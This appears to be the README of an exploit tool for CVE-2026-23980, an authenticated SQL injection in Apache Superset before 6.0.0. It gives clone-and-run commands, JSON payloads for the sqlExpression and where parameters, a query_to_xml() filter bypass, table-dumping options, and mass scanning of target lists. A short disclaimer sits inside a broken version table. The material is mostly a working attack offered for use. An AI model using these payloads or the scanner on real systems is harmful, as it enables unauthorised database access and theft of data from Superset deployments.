
Exploit for CVE-2026-23980 — Authenticated error-based SQL injection in Apache Superset < 6.0.0 via sqlExpression bypass
____
/ __ \
| | | |
| |__| |
\___\_\
sqlExpression goes straight to the query. no parameterization. no hope.
Apache Superset < 6.0.0 allows authenticated users with read access to perform error-based SQL injection via the sqlExpression or where parameters in the /api/v1/chart/data endpoint.
The validate_adhoc_subquery() filter is bypassed using PostgreSQL XML functions (query_to_xml, etc.) which execute SQL as function arguments, invisible to the sqlparse tokenizer.
POST /api/v1/chart/data
-> ChartDataRestApi.data()
-> QueryContext.get_df_payload()
-> SqlaTable.get_sqla_query()
-> adhoc column sqlExpression / extras.where injected
-> validate_adhoc_subquery() BYPASSED via query_to_xml()
-> raw SQL hits PostgreSQL
-> CAST((...) AS INT) error leaks data in response
git clone https://github.com/oscarmine/CVE-2026-23980-Exploit.git
cd CVE-2026-23980-Exploit
pip install requests
python3 exploit.py --url http://target:8088 -u admin -p admin --check
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 --test
# Database version
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT version()"
# Database users
python3 exploit.py ... --sql "SELECT usename FROM pg_user LIMIT 1"
# List tables
python3 exploit.py ... --sql "SELECT table_name FROM information_schema.tables LIMIT 1"
# Current user
python3 exploit.py ... --sql "SELECT current_user"
When validate_adhoc_subquery() blocks your query (detects FROM/JOIN):
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT usename FROM pg_user LIMIT 1" --xml-bypass
This wraps the query in query_to_xml() which hides the FROM clause from the tokenizer.
python3 exploit.py --url http://target:8088 -u admin -p admin --ds-id 1 \
--sql "SELECT table_name FROM information_schema.tables" --dump --rows 20
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --injection-point where
python3 exploit.py --scan-file targets.txt --threads 20
python3 exploit.py --scan-file targets.txt --scan-output results.txt
python3 exploit.py --url http://target:8088 --ds-id 1 \
--sql "SELECT version()" --proxy http://127.0.0.1:8080
sqlExpression (default) - injected into a column definition:
{
"columns": [{
"label": "injected",
"sqlExpression": "CAST((SELECT version()) AS INT)",
"expressionType": "SQL"
}]
}
where - injected into the extras.where clause:
{
"extras": {
"where": "1=1 AND CAST((SELECT version()) AS INT) > 0"
}
}
The exploit uses PostgreSQL's type casting to leak data:
CAST((SELECT version()) AS INT)
PostgreSQL can't convert a string to integer, so it throws:
ERROR: invalid input syntax for type integer: "PostgreSQL 15.2 ..."
The leaked value is parsed from the error message in the API response.
Superset's has_table_query() scans for FROM/JOIN to detect subqueries. PostgreSQL's query_to_xml() executes SQL but hides it as a function argument:
query_to_xml('SELECT usename FROM pg_user LIMIT 1', true, false, '')
The tokenizer sees a function call, not a FROM clause, bypassing the filter.
| Version | Status |
|---|
This tool is for authorized security research only. Only use against systems you have explicit permission to test. The author is not responsible for misuse.
| < 4.0.2 | Vulnerable (no XML function denylist) |
| 4.0.2 | Partial fix (CVE-2024-39887 - added some XML functions to denylist) |
| 4.1.0 | Extended denylist (more XML functions) |
| 4.1.2 | Row-level security bypass fixed (CVE-2025-48912) |
| 6.0.0 | Full fix for CVE-2026-23980 |